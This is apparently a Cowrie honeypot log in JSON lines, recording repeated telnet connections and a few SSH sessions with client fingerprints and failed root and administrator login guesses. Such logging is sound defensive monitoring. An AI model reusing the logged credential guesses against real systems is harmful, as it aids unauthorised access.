{"eventid":"cowrie.session.closed","duration":30.817437887191772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:40.050419Z","src_ip":"149.210.189.202","session":"d7ceb14064c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.511289596557617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:40.060840Z","src_ip":"149.210.189.202","session":"56dc5c575d2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75405240058899,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:40.403765Z","src_ip":"124.217.230.40","session":"71d1329793d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":53812,"dst_ip":"10.17.0.5","dst_port":23,"session":"c070d9929b73","protocol":"telnet","message":"New connection: 124.217.230.40:53812 (10.17.0.5:23) [session: c070d9929b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:40.803191Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":53896,"dst_ip":"10.17.0.5","dst_port":23,"session":"32fe59d89f50","protocol":"telnet","message":"New connection: 124.217.230.40:53896 (10.17.0.5:23) [session: 32fe59d89f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:40.848256Z"}
{"eventid":"cowrie.session.closed","duration":31.148261785507202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:40.854358Z","src_ip":"124.217.230.40","session":"7c5dbe691fd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":54840,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f9fc6143ca8","protocol":"telnet","message":"New connection: 124.217.230.40:54840 (10.17.0.5:23) [session: 8f9fc6143ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:41.700785Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":55670,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24078404146","protocol":"telnet","message":"New connection: 149.210.189.202:55670 (10.17.0.5:23) [session: d24078404146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:41.788242Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":56146,"dst_ip":"10.17.0.5","dst_port":23,"session":"790994c2cc30","protocol":"telnet","message":"New connection: 149.210.189.202:56146 (10.17.0.5:23) [session: 790994c2cc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:42.313203Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":57012,"dst_ip":"10.17.0.5","dst_port":23,"session":"1384b4497d7a","protocol":"telnet","message":"New connection: 149.210.189.202:57012 (10.17.0.5:23) [session: 1384b4497d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:43.298991Z"}
{"eventid":"cowrie.session.closed","duration":30.929093837738037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:43.746650Z","src_ip":"124.217.230.40","session":"4e5cf9faaa45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":57018,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9069aeeeda4","protocol":"telnet","message":"New connection: 124.217.230.40:57018 (10.17.0.5:23) [session: e9069aeeeda4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:43.832639Z"}
{"eventid":"cowrie.session.closed","duration":31.085596084594727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:43.894451Z","src_ip":"124.217.230.40","session":"3175e6ca5703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":57774,"dst_ip":"10.17.0.5","dst_port":23,"session":"788e31eb0675","protocol":"telnet","message":"New connection: 124.217.230.40:57774 (10.17.0.5:23) [session: 788e31eb0675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:44.601298Z"}
{"eventid":"cowrie.session.closed","duration":30.186729192733765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:45.096407Z","src_ip":"149.210.189.202","session":"13c031a2519e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":59164,"dst_ip":"10.17.0.5","dst_port":23,"session":"1110f1eff12d","protocol":"telnet","message":"New connection: 149.210.189.202:59164 (10.17.0.5:23) [session: 1110f1eff12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:45.323797Z"}
{"eventid":"cowrie.session.closed","duration":31.08581852912903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:45.347649Z","src_ip":"149.210.189.202","session":"617f82b6830f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51533579826355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:45.425070Z","src_ip":"124.217.230.40","session":"95c3e3666c6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69178605079651,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:45.832969Z","src_ip":"149.210.189.202","session":"d444733f3e56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":59832,"dst_ip":"10.17.0.5","dst_port":23,"session":"62a36fe8e285","protocol":"telnet","message":"New connection: 124.217.230.40:59832 (10.17.0.5:23) [session: 62a36fe8e285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:46.584956Z"}
{"eventid":"cowrie.session.closed","duration":30.95071291923523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:48.048963Z","src_ip":"149.210.189.202","session":"90ba21a787eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":34230,"dst_ip":"10.17.0.5","dst_port":23,"session":"2df65e0b203f","protocol":"telnet","message":"New connection: 124.217.230.40:34230 (10.17.0.5:23) [session: 2df65e0b203f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:48.953582Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":45362,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ea2443731fb","protocol":"ssh","message":"New connection: 198.98.55.71:45362 (10.17.0.5:22) [session: 9ea2443731fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:48.970270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:48.975321Z","src_ip":"198.98.55.71","session":"9ea2443731fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:48.981107Z","src_ip":"198.98.55.71","session":"9ea2443731fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hu123456.","message":"login attempt [root/Hu123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:49.031356Z","src_ip":"198.98.55.71","session":"9ea2443731fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.425443410873413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:49.140025Z","src_ip":"124.217.230.40","session":"e25cefac3bd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":34502,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c5f5a643a72","protocol":"telnet","message":"New connection: 124.217.230.40:34502 (10.17.0.5:23) [session: 0c5f5a643a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:49.178741Z"}
{"eventid":"cowrie.session.closed","duration":31.391721963882446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:49.334817Z","src_ip":"124.217.230.40","session":"2bded5aa45d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.660645246505737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:49.390114Z","src_ip":"124.217.230.40","session":"31c5d54e242a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":35308,"dst_ip":"10.17.0.5","dst_port":23,"session":"09001245f0b6","protocol":"telnet","message":"New connection: 124.217.230.40:35308 (10.17.0.5:23) [session: 09001245f0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:49.819223Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:50.038752Z","src_ip":"198.98.55.71","session":"9ea2443731fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.87485647201538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:50.363424Z","src_ip":"124.217.230.40","session":"c9045dec7107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.643932819366455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:50.372263Z","src_ip":"124.217.230.40","session":"2df23442a9ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":36206,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1845b405859","protocol":"telnet","message":"New connection: 124.217.230.40:36206 (10.17.0.5:23) [session: a1845b405859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:50.603446Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":36184,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2e14f781a63","protocol":"telnet","message":"New connection: 124.217.230.40:36184 (10.17.0.5:23) [session: b2e14f781a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:50.609059Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":37746,"dst_ip":"10.17.0.5","dst_port":23,"session":"7679e1327f9f","protocol":"telnet","message":"New connection: 124.217.230.40:37746 (10.17.0.5:23) [session: 7679e1327f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:51.607728Z"}
{"eventid":"cowrie.session.closed","duration":31.724024534225464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:51.776577Z","src_ip":"149.210.189.202","session":"51138753ca83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.632688283920288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:52.453353Z","src_ip":"124.217.230.40","session":"1765c8240e76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":36862,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6ab0846de3d","protocol":"telnet","message":"New connection: 149.210.189.202:36862 (10.17.0.5:23) [session: e6ab0846de3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:52.596229Z"}
{"eventid":"cowrie.session.closed","duration":31.099910497665405,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:53.222967Z","src_ip":"149.210.189.202","session":"fd2d660dc80a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":37286,"dst_ip":"10.17.0.5","dst_port":23,"session":"e55fe7ddfb98","protocol":"telnet","message":"New connection: 149.210.189.202:37286 (10.17.0.5:23) [session: e55fe7ddfb98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:53.229649Z"}
{"eventid":"cowrie.session.closed","duration":30.62939190864563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:53.437971Z","src_ip":"124.217.230.40","session":"b4ca9552a1fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":37502,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c89a508d10e","protocol":"telnet","message":"New connection: 149.210.189.202:37502 (10.17.0.5:23) [session: 7c89a508d10e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:53.477017Z"}
{"eventid":"cowrie.session.closed","duration":30.446130990982056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:54.265623Z","src_ip":"124.217.230.40","session":"aaf092b243b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51722,"dst_ip":"159.203.135.109","dst_port":22,"session":"f01fa0e8fd1d","protocol":"ssh","message":"New connection: 159.203.92.129:51722 (159.203.135.109:22) [session: f01fa0e8fd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:54.313874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:54.318493Z","src_ip":"159.203.92.129","session":"f01fa0e8fd1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:54.325804Z","src_ip":"159.203.92.129","session":"f01fa0e8fd1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"77777777","message":"login attempt [administrator/77777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:54.337717Z","src_ip":"159.203.92.129","session":"f01fa0e8fd1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.067269563674927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:54.854091Z","src_ip":"149.210.189.202","session":"fe090b823897","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.087645530700684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:55.097734Z","src_ip":"149.210.189.202","session":"e234c6875c0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:55.344855Z","src_ip":"159.203.92.129","session":"f01fa0e8fd1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":39044,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0b30a8ef5af","protocol":"telnet","message":"New connection: 149.210.189.202:39044 (10.17.0.5:23) [session: e0b30a8ef5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:55.540287Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":39972,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0168d4b2e53","protocol":"telnet","message":"New connection: 149.210.189.202:39972 (10.17.0.5:23) [session: e0168d4b2e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:56.782791Z"}
{"eventid":"cowrie.session.closed","duration":31.12457013130188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:57.918841Z","src_ip":"124.217.230.40","session":"97f89e8382ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.804442167282104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:58.048027Z","src_ip":"124.217.230.40","session":"f990bf3d9d81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.514735460281372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:58.416271Z","src_ip":"124.217.230.40","session":"c8b9f0ebd4ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":41764,"dst_ip":"10.17.0.5","dst_port":23,"session":"98838e8c1c51","protocol":"telnet","message":"New connection: 149.210.189.202:41764 (10.17.0.5:23) [session: 98838e8c1c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:58.944579Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":42030,"dst_ip":"10.17.0.5","dst_port":23,"session":"7babf3635363","protocol":"telnet","message":"New connection: 149.210.189.202:42030 (10.17.0.5:23) [session: 7babf3635363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:59.294775Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":47102,"dst_ip":"10.17.0.5","dst_port":23,"session":"f949c50a8534","protocol":"telnet","message":"New connection: 124.217.230.40:47102 (10.17.0.5:23) [session: f949c50a8534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:59.737336Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":47650,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a95e3e111a2","protocol":"telnet","message":"New connection: 124.217.230.40:47650 (10.17.0.5:23) [session: 1a95e3e111a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:00.249168Z"}
{"eventid":"cowrie.session.closed","duration":30.688154458999634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:01.393178Z","src_ip":"124.217.230.40","session":"7973666b2365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67954921722412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:02.390479Z","src_ip":"124.217.230.40","session":"8907b1f5d8aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.303467988967896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:02.403736Z","src_ip":"124.217.230.40","session":"f94825b215d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":44588,"dst_ip":"10.17.0.5","dst_port":23,"session":"5534e851c512","protocol":"telnet","message":"New connection: 149.210.189.202:44588 (10.17.0.5:23) [session: 5534e851c512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:02.519618Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":45234,"dst_ip":"10.17.0.5","dst_port":23,"session":"51ed95a1d630","protocol":"telnet","message":"New connection: 149.210.189.202:45234 (10.17.0.5:23) [session: 51ed95a1d630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:03.241474Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":52948,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d9c3138bad5","protocol":"telnet","message":"New connection: 124.217.230.40:52948 (10.17.0.5:23) [session: 6d9c3138bad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:04.886997Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":53172,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a5d79c209be","protocol":"telnet","message":"New connection: 124.217.230.40:53172 (10.17.0.5:23) [session: 4a5d79c209be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:05.046566Z"}
{"eventid":"cowrie.session.closed","duration":31.000621557235718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:06.101017Z","src_ip":"149.210.189.202","session":"b73b3fef9892","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72319507598877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:06.447624Z","src_ip":"124.217.230.40","session":"096e021d8a04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.462399005889893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:06.457455Z","src_ip":"124.217.230.40","session":"c3f1703de810","protocol":"telnet"}
